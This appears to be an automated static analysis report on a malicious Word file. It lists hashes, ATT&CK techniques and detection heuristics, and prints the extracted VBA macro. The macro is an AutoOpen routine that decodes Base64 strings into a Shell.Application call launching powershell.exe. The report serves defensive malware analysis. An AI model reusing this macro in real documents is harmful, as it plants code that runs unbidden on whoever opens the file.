Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6013abbe32f21fb0…

MALICIOUS

Office (OOXML)

17.1 KB Created: 2021-06-10 04:33:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-17
MD5: 1fb5c8cf47544f5e9b0fef170b656b41 SHA-1: c6d52593c000e2d2d3db122cb8994f0bc5eb9152 SHA-256: 6013abbe32f21fb0fdd63069ce29e7ee4d95dcc56a303634ebf28e70957bd818
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine that is designed to execute malicious code. The script decodes Base64 strings to construct commands for downloading and executing a second-stage payload, likely a PowerShell executable. The use of CreateObject and CallByName indicates dynamic execution of code, and the decoded strings suggest a PowerShell executable is being invoked.

Heuristics 7

  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/settings.xml.rels: file:///C:\Users\Banana\Desktop\dist\templatedocx.dotm
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 961 bytes
SHA-256: 20ae8f5df8eb5164180d8bb35804fc7a0f853a5d9c75deae5f1b81a138f54499
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1TemplateProject.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
        
        a = "UwBoAGUAbABsAC4AQQBwAHAAbABpAGMAYQB0AGkAbwBuAA"
        b = "UwBoAGUAbABsAEUAeABlAGMAdQB0AGUA"
      
        E = "cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlAA"
        cmdType = [Convert]:: Convert.FromBase64String (a)
        cmdCommand = [Convert]:: Convert.FromBase64String (b)
        cmdParams = ""

        cmdParams = cmdParams + [Convert]:: Convert.FromBase64String (c) + "S" + [Convert]:: Convert.FromBase64String (d)
        Set cmdObj = Interaction.CreateObject(cmdType)
        VBA$.Interaction.CallByName! cmdObj, [cmdCommand], VbMethod, E, cmdParams
        

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: 68ba44bfe3ebc0cd6f2be6ff78e8add08f694ed7f01e82dea105f2b83ceb3d59

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